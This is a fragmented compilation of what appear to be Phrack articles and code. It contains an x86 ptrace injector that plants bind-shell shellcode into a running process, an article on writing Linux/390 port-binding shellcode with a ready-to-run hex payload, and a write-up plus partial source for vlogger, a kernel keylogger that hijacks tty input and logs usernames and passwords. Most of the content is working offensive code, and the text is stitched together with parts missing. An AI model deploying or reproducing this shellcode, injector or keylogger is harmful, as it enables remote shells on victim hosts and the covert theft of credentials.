mov $12,%bl /* %ebx is zero, PTRACE_GETREGS */
mov 12(%ebp),%ecx /* pid */
mov $26,%al /* %eax is zero. */
custom_push:
sub $4,76(%ebp) /* dec the esp */
mov 76(%ebp),%edi /* put it in our temp eip */
sub $1036,%di
mov %edi,8(%ebp) /* that's the address where we */
/* shall start to install our code */
/* we need to push the eip at top of the stack */
mov $26,%al
mov $4,%bl /* PTRACE_POKETEXT*/
mov 12(%ebp),%ecx /*ppid */
mov 76(%ebp),%edx /* esp we have decremented */
mov 64(%ebp),%esi /* old eip */
int $0x80 /* what a work for push %eip */
mov %edi ,64(%ebp) /* eip = our code nah, %edi == 8(%ebp) */
/* now put our cool registers set */
setregs:
xor %eax,%eax
xor %ebx,%ebx
mov $26,%al
mov $13,%bl /* PTRACE_SETREGS*/
/* ppid always set so %ecx */
/* %edx ignored */
mov %ebp,%esi
add $16,%esi
int $0x80
/* registers have been updated. now inject the shellcode */
/* %edi : location in memory where we put the shellcode */
jmp start
goback: /* push on the stack the address of the shellcode to inject */
loop:
mov $26,%al
mov 12(%ebp),%ecx
mov (%edi),%esi
int $0x80
dec %esp
add $4,%edx /* target shellcode */
add $4,%edi /* local shellcode, source */
cmp %esp,%eax /* Len > 0 ? */
jne loop
detach:
mov $26,%al
xor %ebx,%ebx
mov $0x11,%bl /* PTRACE_DETACH */
mov 12(%ebp),%ecx /* pid */
//xor %edx,%edx
//xor %esi,%esi
int $0x80
/* Now we can exit */
failed:
#ifdef LONG
xor %eax,%eax /* exit silently */
mov %eax,%ebx
mov $1,%al /* sys_exit */
int $0x80 /* die in peace, poor child */
#endif
#ifndef LONG
ret
#endif
start:
call goback
/* Bind shellcode */
lnx_bind:
xor %eax,%eax
cdq /* %edx= 0 */
push %edx /* IPPROTO_TCP */
inc %edx /* SOCK_STREAM */
mov %edx,%ebx /* socket() */
push %edx
inc %edx /* AF_INET */
push %edx
mov %esp,%ecx
mov $102,%al
int $0x80
/* Erf, I use the previous data on the stack, they are even good enough */
inc %ebx /*3...*/
inc %ebx /*4 */
mov $102,%al
int $0x80 /* Listen(fd,somehug) (somehuge always > 0 so it's good) */
.string ""
</injector.s>
<injector.h>
// compiled with -DLONG
// binds to port 16705
char injector_lnx[]=
"\xbc\x04\xfe\xff\xbf\x31\xc0\xb0\x40\xcd"
"\x80\x89\xe5\x89\x45\x0c\x31\xc0\xb0\x1a"
"\x8b\x4d\x0c\x89\xc3\xb3\x10\xcd\x80\x31"
"\xdb\x39\xc3\x74\x06\x41\x89\x4d\x0c\xeb"
"\xe7\x89\xc2\x89\xcb\x89\xd1\xb0\x07\xcd"
"\x80\x31\xc0\x31\xdb\x89\xee\x83\xc6\x10"
"\xb3\x0c\x8b\x4d\x0c\xb0\x1a\xcd\x80\x83"
"\x6d\x4c\x04\x8b\x7d\x4c\x66\x81\xef\x0c"
"\x04\x89\x7d\x08\xb0\x1a\xb3\x04\x8b\x4d"
"\x0c\x8b\x55\x4c\x8b\x75\x40\xcd\x80\x89"
"\x7d\x40\x31\xc0\x31\xdb\xb0\x1a\xb3\x0d"
"\x89\xee\x83\xc6\x10\xcd\x80\xeb\x34\x89"
"\xfa\x4a\x4a\x5f\x31\xc0\xb0\x1e\x89\xc4"
"\xb3\x04\xb0\x1a\x8b\x4d\x0c\x8b\x37\xcd"
"\x80\x4c\x83\xc2\x04\x83\xc7\x04\x39\xe0"
"\x75\xec\xb0\x1a\x31\xdb\xb3\x11\x8b\x4d"
"\x0c\xcd\x80\x31\xc0\x89\xc3\xb0\x01\xcd"
"\x80\xe8\xc7\xff\xff\xff\x90\x90\x60\x31"
"\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xc3\x74"
"\x02\x61\xc3\x31\xc0\x99\x52\x42\x89\xd3"
"\x52\x42\x52\x89\xe1\xb0\x66\xcd\x80\x89"
"\xc7\x99\x43\x52\x68\x02\xff\x41\x41\x89"
"\xe6\x6a\x10\x56\x57\x89\xe1\xb0\x66\xcd"
"\x80\x43\x43\xb0\x66\xcd\x80\x54\x56\x57"
"\x43\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0"
"\x3f\xcd\x80\x49\x39\xca\x7e\xf7\x52\x68"
"\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" ;
/*size :279 */
</injector.h>
==Phrack Inc.==
--[ Contents
1 - Introduction
3 - References
--[ 1 - Introduction
Since Linux/390 has been released by IBM more and more b0xes of this
type can be found in the wild. A good reason for a hacker to get a closer
look on how vulnerable services can be exploited on a mainframe. Remember,
who are the owners of mainframes ? Yeah, big computer centres, insurances
or goverments. Well, in this article I'll uncover how to write the bad code
(aka shellcode). The bind-shellcode at the end should be taken as an
example. Other shellcode and exploit against some known vulnerabilities can
be found on a seperate link (see References) in the next few weeks.
For our shellcode development we really don't need the whole bunch of
registers the s/390 or zSeries has. The most interesting for us are the
registers %r0-%r15. Anyway I'll list some others here for to get an
overview.
Control registers :
cr0-cr15 are only used by kernel for irq control, memory
management, debugging control ...
Access registers :
ar0-ar15 are normally not used by programs, but good for
temporary storage
Next I'll show you some useful instructions we will need, while developing
our shellcode.
Instruction Example
---------------------------------------------------------------------------
basr (branch and save) %r1,0 # save value 0 to %r1
lhi (load h/word immediate) lhi %r4,2 # load value 2 into %r4
la (load address) la %r3,120(%r15) # load address from
# %r15+120 into %r3
lr (load register) lr %r4,%r9 # load value from %r9
# into %r4
stc (store character) stc %r6,120(%r15) # store 1 character from
# %r6 to %r15+120
sth (store halfword) sth %r3,122(%r15) # store 2 bytes from
# %r3 to %r15+122
ar (add) ar %r6,%r10 # add value in %r10 ->%r6
xr (exclusive or) xr %r2,%r2 # 0x00 trick :)
svc (service call) svc 1 # exit
basr %r1,0
base:
la %r2,exec-base(%r1)
la %r3,arg-base(%r1)
la %r4,tonull-base(%r1)
svc 11
exec:
.string "/bin//sh"
arg:
.long exec
tonull:
.long 0x0
A special case is the SVC call 102 (SYS_SOCKET). First we have to feed
the register %r2 with the desired function ( socket, bind, listen, accept,
....) and %r3 points to a list of parameters this function needs. Every
parameter in this list has its own u_long value.
.globl _start
_start:
basr %r1,0 # our base-address
base:
exec:
.string "/bin//sh"
arg:
.long exec
tonull:
.long 0x0
a7 28 00 02 lhi %r2,02
a7 a8 fb b4 lhi %r10,-1100
a7 28 04 4e lhi %r2,1102
1a 2a ar %r2,%r10
svc:
.long 0x0b6607fe <---- will be svc 66, br %r14 after
code modification
Look at the first byte, it has the value 0x0b at the moment. The
following code changes this value to 0x0a:
basr %r1,0 # our base-address
la %r9,svc-base(%r1) # load address of svc subroutine
lhi %r6,1110 # selfmodifing
lhi %r10,-1100 # code is used
ar %r6,%r10 # 1110 - 1100 = \x0a opcode SVC
stc %r6,svc-base(%r1) # store svc opcode
0a 66 svc 66
07 fe br %r14
The Register %r9 has the address of the subroutine and %r14 contains
the address where to jump back.
.globl _start
_start:
basr %r1,0 # our base-address
base:
la %r9,svc-base(%r1) # load address of svc subroutine
lhi %r6,1110 # selfmodifing
lhi %r10,-1100 # code is used
ar %r6,%r10 # 1110 - 1100 = \x0a opcode SVC
stc %r6,svc-base(%r1) # store svc opcode
lhi %r2,1102 # portbind code always uses
ar %r2,%r10 # real value-1100 (here AF_INET)
sth %r2,120(%r15)
lhi %r3,31337 # port
sth %r3,122(%r15)
xr %r4,%r4 # INADDR_ANY
st %r4,124(%r15) # 120-127 is struct sockaddr *
lhi %r3,1101 # SOCK_STREAM
ar %r3,%r10
stm %r2,%r4,128(%r15) # store %r2-%r4, our API values
lhi %r2,1101 # SOCKET_socket
ar %r2,%r10
la %r3,128(%r15) # pointer to the API values
basr %r14,%r9 # branch to subroutine SVC 102
lr %r7,%r2 # save socket fd to %r7
la %r3,120(%r15) # pointer to struct sockaddr *
lhi %r8,1116
ar %r8,%r10 # value 16 is stored in %r8
lr %r4,%r8 # size of address
stm %r2,%r4,128(%r15) # store %r2-%r4, our API values
lhi %r2,1102 # SOCKET_bind
ar %r2,%r10
la %r3,128(%r15) # pointer to the API values
basr %r14,%r9 # branch to subroutine SVC 102
lr %r2,%r7 # get saved socket fd
lhi %r3,1101 # MAXNUMBER
ar %r3,%r10
stm %r2,%r3,128(%r15) # store %r2-%r3, our API values
lhi %r2,1104 # SOCKET_listen
ar %r2,%r10
la %r3,128(%r15) # pointer to the API values
basr %r14,%r9 # branch to subroutine SVC 102
lr %r2,%r7 # get saved socket fd
la %r3,120(%r15) # pointer to struct sockaddr *
stm %r2,%r3,128(%r15) # store %r2-%r3, our API values
st %r8,136(%r15) # %r8 = 16, in this case fromlen
lhi %r2,1105 # SOCKET_accept
ar %r2,%r10
la %r3,128(%r15) # pointer to the API values
basr %r14,%r9 # branch to subroutine SVC 102
lhi %r6,1163 # initiate SVC 63 = DUP2
ar %r6,%r10
stc %r6,svc+1-base(%r1) # modify subroutine to SVC 63
lhi %r3,1102 # the following shit
ar %r3,%r10 # duplicates
basr %r14,%r9 # stdin, stdout
ahi %r3,-1 # stderr
basr %r14,%r9 # SVC 63 = DUP2
ahi %r3,-1
basr %r14,%r9
lhi %r6,1111 # initiate SVC 11 = execve
ar %r6,%r10
stc %r6,svc+1-base(%r1) # modify subroutine to SVC 11
la %r2,exec-base(%r1) # point to /bin/sh
st %r2,exec+8-base(%r1) # save address to /bin/sh
la %r3,exec+8-base(%r1) # points to address of /bin/sh
xr %r4,%r4 # 0x00 is envp
stc %r4,exec+7-base(%r1) # fix last byte /bin/sh\\ to 0x00
st %r4,exec+12-base(%r1) # store 0x00 value for envp
la %r4,exec+12-base(%r1) # point to envp value
basr %r14,%r9 # branch to subroutine SVC 11
svc:
.long 0x0b6607fe # our subroutine SVC n + br %r14
exec:
.string "/bin/sh\\"
char shellcode[]=
"\x0d\x10" /* basr %r1,%r0 */
"\x41\x90\x10\xd4" /* la %r9,212(%r1) */
"\xa7\x68\x04\x56" /* lhi %r6,1110 */
"\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */
"\x1a\x6a" /* ar %r6,%r10 */
"\x42\x60\x10\xd4" /* stc %r6,212(%r1) */
"\xa7\x28\x04\x4e" /* lhi %r2,1102 */
"\x1a\x2a" /* ar %r2,%r10 */
"\x40\x20\xf0\x78" /* sth %r2,120(%r15) */
"\xa7\x38\x7a\x69" /* lhi %r3,31337 */
"\x40\x30\xf0\x7a" /* sth %r3,122(%r15) */
"\x17\x44" /* xr %r4,%r4 */
"\x50\x40\xf0\x7c" /* st %r4,124(%r15) */
"\xa7\x38\x04\x4d" /* lhi %r3,1101 */
"\x1a\x3a" /* ar %r3,%r10 */
"\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */
"\xa7\x28\x04\x4d" /* lhi %r2,1101 */
"\x1a\x2a" /* ar %r2,%r10 */
"\x41\x30\xf0\x80" /* la %r3,128(%r15) */
"\x0d\xe9" /* basr %r14,%r9 */
"\x18\x72" /* lr %r7,%r2 */
"\x41\x30\xf0\x78" /* la %r3,120(%r15) */
"\xa7\x88\x04\x5c" /* lhi %r8,1116 */
"\x1a\x8a" /* ar %r8,%r10 */
"\x18\x48" /* lr %r4,%r8 */
"\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */
"\xa7\x28\x04\x4e" /* lhi %r2,1102 */
"\x1a\x2a" /* ar %r2,%r10 */
"\x41\x30\xf0\x80" /* la %r3,128(%r15) */
"\x0d\xe9" /* basr %r14,%r9 */
"\x18\x27" /* lr %r2,%r7 */
"\xa7\x38\x04\x4d" /* lhi %r3,1101 */
"\x1a\x3a" /* ar %r3,%r10 */
"\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */
"\xa7\x28\x04\x50" /* lhi %r2,1104 */
"\x1a\x2a" /* ar %r2,%r10 */
"\x41\x30\xf0\x80" /* la %r3,128(%r15) */
"\x0d\xe9" /* basr %r14,%r9 */
"\x18\x27" /* lr %r2,%r7 */
"\x41\x30\xf0\x78" /* la %r3,120(%r15) */
"\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */
"\x50\x80\xf0\x88" /* st %r8,136(%r15) */
"\xa7\x28\x04\x51" /* lhi %r2,1105 */
"\x1a\x2a" /* ar %r2,%r10 */
"\x41\x30\xf0\x80" /* la %r3,128(%r15) */
"\x0d\xe9" /* basr %r14,%r9 */
"\xa7\x68\x04\x8b" /* lhi %r6,1163 */
"\x1a\x6a" /* ar %r6,%r10 */
"\x42\x60\x10\xd5" /* stc %r6,213(%r1) */
"\xa7\x38\x04\x4e" /* lhi %r3,1102 */
"\x1a\x3a" /* ar %r3,%r10 */
"\x0d\xe9" /* basr %r14,%r9 */
"\xa7\x3a\xff\xff" /* ahi %r3,-1 */
"\x0d\xe9" /* basr %r14,%r9 */
"\xa7\x3a\xff\xff" /* ahi %r3,-1 */
"\x0d\xe9" /* basr %r14,%r9 */
"\xa7\x68\x04\x57" /* lhi %r6,1111 */
"\x1a\x6a" /* ar %r6,%r10 */
"\x42\x60\x10\xd5" /* stc %r6,213(%r1) */
"\x41\x20\x10\xd8" /* la %r2,216(%r1) */
"\x50\x20\x10\xe0" /* st %r2,224(%r1) */
"\x41\x30\x10\xe0" /* la %r3,224(%r1) */
"\x17\x44" /* xr %r4,%r4 */
"\x42\x40\x10\xdf" /* stc %r4,223(%r1) */
"\x50\x40\x10\xe4" /* st %r4,228(%r1) */
"\x41\x40\x10\xe4" /* la %r4,228(%r1) */
"\x0d\xe9" /* basr %r14,%r9 */
"\x0b\x66" /* svc 102 <--- after modification */
"\x07\xfe" /* br %r14 */
"\x2f\x62\x69\x6e" /* /bin */
"\x2f\x73\x68\x5c"; /* /sh\ */
main()
{
void (*z)()=(void*)shellcode;
z();
}
--[ 3 - References:
mQGiBDzw5yMRBACGJ1o25Bfbb6mBkP2+qwd0eCTvCmC5uJGdXWOW8BbQwDHkoO4h
sdouA+0JdlTFIQriCZhZWbspNsWEpXPOAW8vG3fSqIUqiDe6Aj21h+BnW0WEqx9t
8TkooEVS3SL34wiDCig3cQtmvAIj0C9g4pj5B/QwHJYrWNFoAxc2SW1lXwCg8Wk9
LawvHW+Xqnc6n/w5Oo8IpNsD/2Lp4fvQFiTvN22Jd63nCQ75A64fB7mH7ZUsVPYy
BctYXM4GhcHx7zfOhAbJQNWoNmYGiftVr9UvO9GSnG+Y9jq6I16qOn7T7dIZUEpL
F5FevEFTyrtDGYmBhGv9hwtbz3CI9n9gpZxz1xYTbDHxkVIiTMlcNR3GIJRPfo5B
a7u4A/9ncKqRx2HbRkaj39zugC6Y28z9lSimGzu7PTVw3bxDbObgi4CyHcjnHe+j
DResuKGgdyEf+d07ofbFEOdQjgaDx1mmswS4pcILKOyRdQMtdbgSdyPlJw5KGHLX
G0hrHV/Uhgok3W6nC43ZvPWbd3HVfOIU8jDTRgWaRDjGc45dtbQkam9obm55IGN5
YmVycHVuayA8am9obmN5YnBrQGdteC5uZXQ+iFcEExECABcFAjzw5yMFCwcKAwQD
FQMCAxYCAQIXgAAKCRD3c5EGutq/jMW7AJ9OSmrB+0vMgPfVOT4edV7C++RNHwCf
byT/qKeSawxasF8g4HeX33fSPe25Ag0EPPDnrRAIALdcTn8E2Z8Z4Ua4p8fjwXNO
iP6GOANUN5XLpmscv9v5ErPfK+NM2ARb7O7rQJfLkmKV8voPNj4lPUUyltGeOhzj
t86I5p68RRSvO5JKTW+riZamaD8lB84YqLzmt9OuzuOeAJCq3GuQtPMyrNuOkPL9
nX51EgnLnYaUYAkysAhYLhlrye/3maNdjtn2T63MoJauAoB4TpKvegsGsf1pA5mj
y9fuG6zGnWt8XpVSdD2W3PUJB+Q7J3On35byebIKiuGsti6Y5L0ZSDlW2rveZp9g
eRSQz06j+mxAooTUMBBJwMmXjHm5nTgr5OX/8mpb+I73MGhtssRr+JW+EWSLQN8A
AwcH/iqRCMmPB/yiMhFrEPUMNBsZOJ+VK3PnUNLbAPtHz7E2ZmEpTgdvLR3tjHTC
vZO6k40H1BkodmdFkCHEwzhWwe8P3a+wgW2LnPCM6tfPEfp9kPXD43UlTLWLL4RF
cPmyrs45B2uht7aE3Pe0SgbsnWAej87Stwb+ezOmngmrRvZKnYREVR1RHRRsH3l6
C4rexD3uHjFNdEXieW97xHG71YpOVDX6slCK2SumfxzQAEZC2n7/DqwPd6Z/abAf
Ay9WmTpqBFd2FApUtZ1h8cpS6MYb6A5R2BDJQl1hN2pQFNzIh8chjVdQc67dKiay
R/g0Epg0thiVAecaloCJlJE8b3OIRgQYEQIABgUCPPDnrQAKCRD3c5EGutq/jNuP
AJ979IDls926vsxlhRA5Y8G0hLyDAwCgo8eWQWI7Y+QVfwBG8XCzei4oAiI=
=2B7h
-----END PGP PUBLIC KEY BLOCK-----
==Phrack Inc.==
--[ Contents
1 - Introduction
4 - vlogger
4.1 - The syscall/tty approach
4.2 - Features
4.3 - How to use
5 - Greets
6 - References
7 - Keylogger source
--[ 1 - Introduction
This article is divided into two parts. The first part of the paper
gives an overview on how the linux keyboard driver work, and discusses
methods that can be used to create a kernel based keylogger. This part
will be useful for those who want to write a kernel based keylogger, or to
write their own keyboard driver (for supporting input of non-supported
language in linux environment, ...) or to program taking advantage of many
features in the Linux keyboard driver.
The second part presents detail of vlogger, a smart kernel based linux
keylogger, and how to use it. Keylogger is a very interesting code being
used widely in honeypots, hacked systems, ... by white and black hats. As
most of us known, besides user space keyloggers (such as iob, uberkey,
unixkeylogger, ...), there are some kernel based keyloggers. The earliest
kernel based keylogger is linspy of halflife which was published in Phrack
50 (see [4]). And the recent kkeylogger is presented in 'Kernel Based
Keylogger' paper by mercenary (see [7]) that I found when was writing this
paper. The common method of those kernel based keyloggers using is to log
user keystrokes by intercepting sys_read or sys_write system call.
However, this approach is quite unstable and slowing down the whole system
noticeably because sys_read (or sys_write) is the generic read/write
function of the system; sys_read is called whenever a process wants to read
something from devices (such as keyboard, file, serial port, ...). In
vlogger, I used a better way to implement it that hijacks the tty buffer
processing function.
Lets take a look at below figure to know how user inputs from console
keyboard are processed:
_________ ____________
| |sys_read| |
--->|/dev/ttyX|------->|user process|
| | | |
|_________| |____________|
Figure 1
First, when you press a key on the keyboard, the keyboard will send
corresponding scancodes to keyboard driver. A single key press can produce
a sequence of up to six scancodes.
For example, keycode of 'a' is 30. Pressing key 'a' produces keycode 30.
Releasing 'a' produces keycode 158 (128+30).
When user process want to get user input, it calls read() function on
stdin of the process. sys_read() function will calls read() function
defined in file_operations structure (which is pointed to tty_read) of
corresponding tty (ex /dev/tty0) to read input characters and return to the
process.
- Unicode (UNICODE MODE): this mode only differs from the ASCII
mode by allowing the user to compose UTF8 unicode characters by
their decimal value, using Ascii_0 to Ascii_9, or their
hexadecimal (4-digit) value, using Hex_0 to Hex_9. A keymap can
be set up to produce UTF8 sequences (with a U+XXXX pseudo-symbol,
where each X is an hexadecimal digit).
Those modes influence what type of data that applications will get as
keyboard input. For more details on scancode, keycode and keymaps, please
read [3].
We can implement a kernel based keylogger in two ways by writing our own
keyboard interrupt handler or hijacking one of input processing functions.
To log keystrokes, we will use our own keyboard interrupt handler. Under
Intel architectures, the IRQ of the keyboard controlled is IRQ 1. When
receives a keyboard interrupt, our own keyboard interrupt handler read the
scancode and keyboard status. Keyboard events can be read and written via
port 0x60(Keyboard data register) and 0x64(Keyboard status register).
In my_keyboard_irq_handler():
scancode = kbd_read_input();
key_status = kbd_read_status();
log_scancode(scancode);
Based on the Figure 1, we can implement our keylogger to log user inputs
by hijacking one of handle_scancode(), put_queue(), receive_buf(),
tty_read() and sys_read() functions. Note that we can't intercept
tty_insert_flip_char() function because it is an INLINE function.
# /usr/src/linux/drives/char/keyboard.c
void handle_scancode(unsigned char scancode, int down);
#define CODESIZE 7
static char hs_code[CODESIZE];
static char hs_jump[CODESIZE] =
"\xb8\x00\x00\x00\x00" /* movl $0,%eax */
"\xff\xe0" /* jmp *%eax */
;
/*
* Restore first bytes of the original handle_scancode code. Call
* the restored function and re-restore the jump code. Code is
* protected by semaphore hs_sem, we only want one CPU in here at a
* time.
*/
down(&hs_sem);
up(&hs_sem);
}
# /usr/src/linux/drives/char/keyboard.c
void put_queue(int ch);
# /usr/src/linux/drivers/char/n_tty.c */
static void n_tty_receive_buf(struct tty_struct *tty, const
unsigned char *cp, char *fp, int count)
# /usr/include/linux/tty.h
struct tty_struct {
int magic;
struct tty_driver driver;
struct tty_ldisc ldisc;
struct termios *termios, *termios_locked;
...
}
# /usr/include/linux/tty_ldisc.h
struct tty_ldisc {
int magic;
char *name;
...
void (*receive_buf)(struct tty_struct *,
const unsigned char *cp, char *fp, int count);
int (*receive_room)(struct tty_struct *);
void (*write_wakeup)(struct tty_struct *);
};
# /usr/src/linux/drives/char/tty_io.c
static ssize_t tty_read(struct file * file, char * buf, size_t count,
loff_t *ppos)
--[ 4 - vlogger
To logging both local (logged from console) and remote sessions, I chose
the method of intercepting receive_buf() function (see 3.2.3).
// new_sys_open()
asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
...
// call the original_sys_open
ret = (*original_sys_open)(filename, flags, mode);
if (ret >= 0) {
struct tty_struct * tty;
...
file = fget(ret);
tty = file->private_data;
if (tty != NULL &&
...
tty->ldisc.receive_buf != new_receive_buf) {
...
// save the old receive_buf
old_receive_buf = tty->ldisc.receive_buf;
...
/*
* init to intercept receive_buf of this tty
* tty->ldisc.receive_buf = new_receive_buf;
*/
init_tty(tty, TTY_INDEX(tty));
}
...
}
- Logs both local and remote sessions (via tty & pts)
- Separate logging for each tty/session. Each tty has their own logging
buffer.
- Nearly support all special chars such as arrow keys (left, right, up,
down), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End,
Home, Page Up, Page Down, BackSpace, ...
[root@localhost log]# ls -l
total 60
-rw------- 1 root root 633 Jun 19 20:59 pass.log
-rw------- 1 root root 37593 Jun 19 18:51 pts11
-rw------- 1 root root 56 Jun 19 19:00 pts20
-rw------- 1 root root 746 Jun 19 20:06 pts26
-rw------- 1 root root 116 Jun 19 19:57 pts29
-rw------- 1 root root 3219 Jun 19 21:30 tty1
-rw------- 1 root root 18028 Jun 19 20:54 tty2
--[ 5 - Greets
--[ 6 - References
<++> vlogger/Makefile
#
# vlogger 1.0 by rd
#
# LOCAL_ONLY logging local session only. Doesn't intercept
# sys_open system call
# DEBUG Enable debug. Turn on this options will slow
# down your system
#
KERNELDIR =/usr/src/linux
include $(KERNELDIR)/.config
MODVERFILE = $(KERNELDIR)/include/linux/modversions.h
all : vlogger.o
vlogger.o: vlogger.c
$(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@
clean:
rm -f *.o
<-->
<++> vlogger/vlogger.c
/*
* vlogger 1.0
*
* Copyright (C) 2002 rd <rd@vnsecurity.net>
*
* Please check http://www.thehackerschoice.com/ for update
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* Greets to THC & vnsecurity
*
*/
#define __KERNEL_SYSCALLS__
#include <linux/version.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/smp_lock.h>
#include <linux/sched.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/file.h>
#include <asm/uaccess.h>
#include <linux/proc_fs.h>
#include <asm/errno.h>
#include <asm/io.h>
#ifndef KERNEL_VERSION
#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
#endif
#ifdef DEBUG
#define DPRINT(format, args...) printk(MODULE_NAME format, ##args)
#else
#define DPRINT(format, args...)
#endif
#define ESC_CHAR 27
#define BACK_SPACE_CHAR1 127 // local
#define BACK_SPACE_CHAR2 8 // remote
#define VK_NORMAL 0
#define VK_DUMBMODE 1
#define VK_SMARTMODE 2
#define DEFAULT_MODE VK_DUMBMODE
struct tlogger {
struct tty_struct *tty;
char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ];
int lastpos;
int status;
int pass;
};
/* Prototypes */
static inline void init_tty(struct tty_struct *, int);
/*
static char *_tty_make_name(struct tty_struct *tty,
const char *name, char *buf)
{
int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0;
if (!tty)
strcpy(buf, "NULL tty");
else
sprintf(buf, name,
idx + tty->driver.name_base);
return buf;
}
struct vtm {
int tm_sec;
int tm_min;
int tm_hour;
int tm_mday;
int tm_mon;
int tm_year;
};
/*
* Convert from epoch to date
*/
int epoch2time (const time_t *t, long int offset, struct vtm *tp)
{
static const unsigned short int mon_yday[2][13] = {
/* Normal years. */
{ 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
/* Leap years. */
{ 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
};
days = *t / SECS_PER_DAY;
rem = *t % SECS_PER_DAY;
rem += offset;
while (rem < 0) {
rem += SECS_PER_DAY;
--days;
}
while (rem >= SECS_PER_DAY) {
rem -= SECS_PER_DAY;
++days;
}
tp->tm_hour = rem / SECS_PER_HOUR;
rem %= SECS_PER_HOUR;
tp->tm_min = rem / 60;
tp->tm_sec = rem % 60;
y = 1970;
/*
* Get current date & time
*/
/*
* Get task structure from pgrp id
*/
do {
if (task->pgrp == pgrp) {
return task;
}
task = task->next_task;
} while (task != current);
return NULL;
}
lock_kernel();
BEGIN_KMEM;
f = filp_open(logfile, O_CREAT|O_APPEND, 00600);
if (IS_ERR(f)) {
DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile);
ret = -1;
} else {
if (WRITABLE(f))
_write(f, buf, size);
else {
DPRINT("%s does not have a write method\n",
logfile);
ret = -1;
}
if ((ret = filp_close(f,NULL)))
DPRINT("Error %d closing %s\n", -ret, logfile);
}
END_KMEM;
unlock_kernel();
return ret;
}
/*
* Logging keystrokes
*/
char logfile[256];
char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256];
char date_time[24];
struct task_struct *task;
if (vlogger_mode == VK_NORMAL)
return;
task = get_task(tty->pgrp);
if (!cont)
tmp->buf[tmp->lastpos++] = 0x0A;
tmp->buf[tmp->lastpos] = 0;
if (vlogger_mode == VK_DUMBMODE) {
snprintf(logfile, sizeof(logfile)-1, "%s/%s%d",
LOG_DIR, TTY_NAME(tty), TTY_NUMBER(tty));
BEGIN_ROOT
if (!tmp->status) {
get_time(date_time);
if (task)
snprintf(loginfo, sizeof(loginfo)-1,
"<%s uid=%d %s> %s", date_time,
task->uid, task->comm, tmp->buf);
else
snprintf(loginfo, sizeof(loginfo)-1,
"<%s> %s", date_time, tmp->buf);
} else {
/*
* Logging USER/CMD and PASS in SMART_MODE
*/
BEGIN_ROOT
if (!tmp->pass) {
get_time(date_time);
if (task)
snprintf(loginfo, sizeof(loginfo)-1,
"\n[%s tty=%s/%d uid=%d %s]\n"
"USER/CMD %s", date_time,
TTY_NAME(tty),TTY_NUMBER(tty),
task->uid, task->comm, tmp->buf);
else
snprintf(loginfo, sizeof(loginfo)-1,
"\n[%s tty=%s/%d]\nUSER/CMD %s",
date_time, TTY_NAME(tty),
TTY_NUMBER(tty), tmp->buf);
END_ROOT
#ifdef DEBUG
if (!tmp->pass)
DPRINT("USER/CMD %s", tmp->buf);
else
DPRINT("PASS %s", tmp->buf);
#endif
}
if (!cont) tmp->buf[--tmp->lastpos] = 0;
}
#define resetbuf(t) \
{ \
t->buf[0] = 0; \
t->lastpos = 0; \
}
#define append_c(t, s, n) \
{ \
t->lastpos += n; \
strncat(t->buf, s, n); \
}
void special_key(struct tlogger *tmp, const unsigned char *cp, int count)
{
switch(count) {
case 2:
switch(cp[1]) {
case '\'':
append_c(tmp, "[ALT-\']", 7);
break;
case ',':
append_c(tmp, "[ALT-,]", 7);
break;
case '-':
append_c(tmp, "[ALT--]", 7);
break;
case '.':
append_c(tmp, "[ALT-.]", 7);
break;
case '/':
append_c(tmp, "[ALT-/]", 7);
break;
case '0':
append_c(tmp, "[ALT-0]", 7);
break;
case '1':
append_c(tmp, "[ALT-1]", 7);
break;
case '2':
append_c(tmp, "[ALT-2]", 7);
break;
case '3':
append_c(tmp, "[ALT-3]", 7);
break;
case '4':
append_c(tmp, "[ALT-4]", 7);
break;
case '5':
append_c(tmp, "[ALT-5]", 7);
break;
case '6':
append_c(tmp, "[ALT-6]", 7);
break;
case '7':
append_c(tmp, "[ALT-7]", 7);
break;
case '8':
append_c(tmp, "[ALT-8]", 7);
break;
case '9':
append_c(tmp, "[ALT-9]", 7);
break;
case ';':
append_c(tmp, "[ALT-;]", 7);
break;
case '=':
append_c(tmp, "[ALT-=]", 7);
break;
case '[':
append_c(tmp, "[ALT-[]", 7);
break;
case '\\':
append_c(tmp, "[ALT-\\]", 7);
break;
case ']':
append_c(tmp, "[ALT-]]", 7);
break;
case '`':
append_c(tmp, "[ALT-`]", 7);
break;
case 'a':
append_c(tmp, "[ALT-A]", 7);
break;
case 'b':
append_c(tmp, "[ALT-B]", 7);
break;
case 'c':
append_c(tmp, "[ALT-C]", 7);
break;
case 'd':
append_c(tmp, "[ALT-D]", 7);
break;
case 'e':
append_c(tmp, "[ALT-E]", 7);
break;
case 'f':
append_c(tmp, "[ALT-F]", 7);
break;
case 'g':
append_c(tmp, "[ALT-G]", 7);
break;
case 'h':
append_c(tmp, "[ALT-H]", 7);
break;
case 'i':
append_c(tmp, "[ALT-I]", 7);
break;
case 'j':
append_c(tmp, "[ALT-J]", 7);
break;
case 'k':
append_c(tmp, "[ALT-K]", 7);
break;
case 'l':
append_c(tmp, "[ALT-L]", 7);
break;
case 'm':
